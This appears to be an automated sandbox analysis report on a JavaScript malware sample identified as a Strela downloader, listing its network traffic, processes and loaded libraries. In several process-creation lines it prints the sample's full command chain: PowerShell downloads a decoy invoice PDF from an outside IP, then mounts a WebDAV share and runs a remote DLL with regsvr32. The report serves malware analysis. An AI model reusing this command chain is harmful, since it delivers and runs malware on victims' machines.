TCP traffic: 192.168.2.6:49722 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2169805297.0000016289D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2229321879.000002AF76B3E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229321879.000002AF76B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/m
Source: net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3455251128.0000028337C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2233263591.00000283379C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6116, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 6515707756641447.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohljw50f.2wu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1692,i,2389882996813932257,13310602110821749227,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1692,i,2389882996813932257,13310602110821749227,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
